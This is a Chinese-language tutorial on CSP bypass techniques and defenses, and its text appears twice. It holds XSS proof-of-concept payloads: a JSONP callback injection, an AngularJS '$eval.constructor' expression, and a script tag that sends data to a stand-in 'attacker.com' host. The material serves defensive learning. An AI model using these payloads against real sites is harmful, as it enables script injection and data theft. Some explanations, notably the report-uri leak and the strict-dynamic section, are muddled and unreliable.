CSP(内容安全策略)绕过技术分析与防护
字数 1881 2025-11-24 08:00:26

CSP(内容安全策略)绕过技术分析与防护

1. 知识点描述

CSP(内容安全策略)是一种通过HTTP响应头(如Content-Security-Policy)定义的网络安全机制,用于限制页面可以加载或执行的资源(如脚本、样式、图片等),从而减少XSS等攻击的影响。但若配置不当或存在漏洞,攻击者可能通过多种技术绕过CSP防护。


2. CSP的核心机制与常见指令

在讲解绕过技术前,需先理解CSP的基本配置逻辑:

  • 指令示例
    • default-src 'self':默认仅允许同源资源。
    • script-src 'self' https://trusted.com:允许同源和指定域的脚本。
    • style-src 'unsafe-inline':允许内联样式(存在风险)。
  • 特殊关键字
    • 'none':禁止任何资源。
    • 'unsafe-inline':允许内联脚本/样式(常见绕过突破口)。
    • 'unsafe-eval':允许动态代码执行(如eval())。

3. CSP绕过技术分类与原理

3.1 利用脚本允许列表中的不安全域

  • 场景:若配置包含script-src 'self' https://example.com,且example.com存在JSONP接口或开放上传功能。
  • 绕过方法
    1. 攻击者上传恶意脚本至example.com(如通过用户头像上传功能)。
    2. 通过<script src="https://example.com/attacker.js">加载恶意脚本。
  • 根本原因:信任域的控制不严格。

3.2 利用JSONP回调函数执行代码

  • 原理:JSONP接口通过回调函数名动态返回JS代码,如?callback=alert(1)可能生成alert(1)(data)
  • 步骤
    1. 发现允许域中存在JSONP接口(如trusted.com/api?callback=foo)。
    2. 构造恶意回调参数:?callback=alert(1);//,使返回内容变为可执行代码。
  • 防护关键:严格验证回调函数名格式(如仅允许字母数字)。

3.3 绕过strict-dynamic与nonce机制

  • 背景:为兼容旧浏览器,CSP可能同时使用nonce和允许列表(如script-src 'nonce-abc' 'self')。
  • 绕过方法
    1. 通过DOM型XSS注入<base>标签,修改后续脚本的加载路径。
    2. 利用允许列表中的域加载恶意脚本,绕过nonce检查。
  • 防护建议:避免混合使用strict-dynamic与允许列表。

3.4 利用CSP报告机制窃取数据

  • 场景:配置了report-uri /csp-report时,浏览器会将违规行为POST到指定端点。
  • 攻击步骤
    1. 诱导用户访问包含大量违规请求的页面(如多次尝试加载<script src="http://attacker.com/?leak=data">)。
    2. 在CSP报告中,违规URL可能包含敏感信息(如CSRF Token),通过报告渠道泄露给攻击者。
  • 防护:确保报告端点不处理敏感参数。

4. 进阶绕过案例:AngularJS与CSP的博弈

  • 特殊场景:若页面使用AngularJS且CSP允许unsafe-eval
  • 原理:AngularJS的表达式解析(如{{1+1}})依赖eval类功能,攻击者可构造恶意表达式执行任意代码。
  • 示例Payload
    <div ng-app>  
      {{$eval.constructor('alert(1)')()}}  
    </div>  
    
  • 防护:禁止unsafe-eval并使用CSP非兼容框架(如React)。

5. 防护策略总结

  1. 最小化允许列表:仅信任必要域,避免使用unsafe-inline/unsafe-eval
  2. 使用nonce或hash:通过script-src 'nonce-abc'script-src 'sha256-...'精确控制内联脚本。
  3. 隔离JSONP接口:将JSONP域与脚本允许列表分离。
  4. 启用strict-dynamic:现代浏览器中可动态信任由已授权脚本加载的后续脚本。
  5. 监控CSP报告:分析违规行为,及时调整策略。

6. 实战检测流程

  1. 检查CSP头是否包含过高权限指令(如unsafe-inline)。
  2. 测试允许域中是否存在可控制子域或开放功能(如文件上传)。
  3. 尝试通过AngularJS等框架特性绕过限制。
  4. 验证报告机制是否可能泄露数据。

通过以上分析,可全面理解CSP的潜在弱点,并采取针对性防护措施。

CSP(内容安全策略)绕过技术分析与防护 1. 知识点描述 CSP(内容安全策略)是一种通过HTTP响应头(如 Content-Security-Policy )定义的网络安全机制,用于限制页面可以加载或执行的资源(如脚本、样式、图片等),从而减少XSS等攻击的影响。但若配置不当或存在漏洞,攻击者可能通过多种技术绕过CSP防护。 2. CSP的核心机制与常见指令 在讲解绕过技术前,需先理解CSP的基本配置逻辑: 指令示例 : default-src 'self' :默认仅允许同源资源。 script-src 'self' https://trusted.com :允许同源和指定域的脚本。 style-src 'unsafe-inline' :允许内联样式(存在风险)。 特殊关键字 : 'none' :禁止任何资源。 'unsafe-inline' :允许内联脚本/样式(常见绕过突破口)。 'unsafe-eval' :允许动态代码执行(如 eval() )。 3. CSP绕过技术分类与原理 3.1 利用脚本允许列表中的不安全域 场景 :若配置包含 script-src 'self' https://example.com ,且 example.com 存在JSONP接口或开放上传功能。 绕过方法 : 攻击者上传恶意脚本至 example.com (如通过用户头像上传功能)。 通过 <script src="https://example.com/attacker.js"> 加载恶意脚本。 根本原因 :信任域的控制不严格。 3.2 利用JSONP回调函数执行代码 原理 :JSONP接口通过回调函数名动态返回JS代码,如 ?callback=alert(1) 可能生成 alert(1)(data) 。 步骤 : 发现允许域中存在JSONP接口(如 trusted.com/api?callback=foo )。 构造恶意回调参数: ?callback=alert(1);// ,使返回内容变为可执行代码。 防护关键 :严格验证回调函数名格式(如仅允许字母数字)。 3.3 绕过 strict-dynamic 与nonce机制 背景 :为兼容旧浏览器,CSP可能同时使用nonce和允许列表(如 script-src 'nonce-abc' 'self' )。 绕过方法 : 通过DOM型XSS注入 <base> 标签,修改后续脚本的加载路径。 利用允许列表中的域加载恶意脚本,绕过nonce检查。 防护建议 :避免混合使用 strict-dynamic 与允许列表。 3.4 利用CSP报告机制窃取数据 场景 :配置了 report-uri /csp-report 时,浏览器会将违规行为POST到指定端点。 攻击步骤 : 诱导用户访问包含大量违规请求的页面(如多次尝试加载 <script src="http://attacker.com/?leak=data"> )。 在CSP报告中,违规URL可能包含敏感信息(如CSRF Token),通过报告渠道泄露给攻击者。 防护 :确保报告端点不处理敏感参数。 4. 进阶绕过案例:AngularJS与CSP的博弈 特殊场景 :若页面使用AngularJS且CSP允许 unsafe-eval 。 原理 :AngularJS的表达式解析(如 {{1+1}} )依赖 eval 类功能,攻击者可构造恶意表达式执行任意代码。 示例Payload : 防护 :禁止 unsafe-eval 并使用CSP非兼容框架(如React)。 5. 防护策略总结 最小化允许列表 :仅信任必要域,避免使用 unsafe-inline / unsafe-eval 。 使用nonce或hash :通过 script-src 'nonce-abc' 或 script-src 'sha256-...' 精确控制内联脚本。 隔离JSONP接口 :将JSONP域与脚本允许列表分离。 启用 strict-dynamic :现代浏览器中可动态信任由已授权脚本加载的后续脚本。 监控CSP报告 :分析违规行为,及时调整策略。 6. 实战检测流程 检查CSP头是否包含过高权限指令(如 unsafe-inline )。 测试允许域中是否存在可控制子域或开放功能(如文件上传)。 尝试通过AngularJS等框架特性绕过限制。 验证报告机制是否可能泄露数据。 通过以上分析,可全面理解CSP的潜在弱点,并采取针对性防护措施。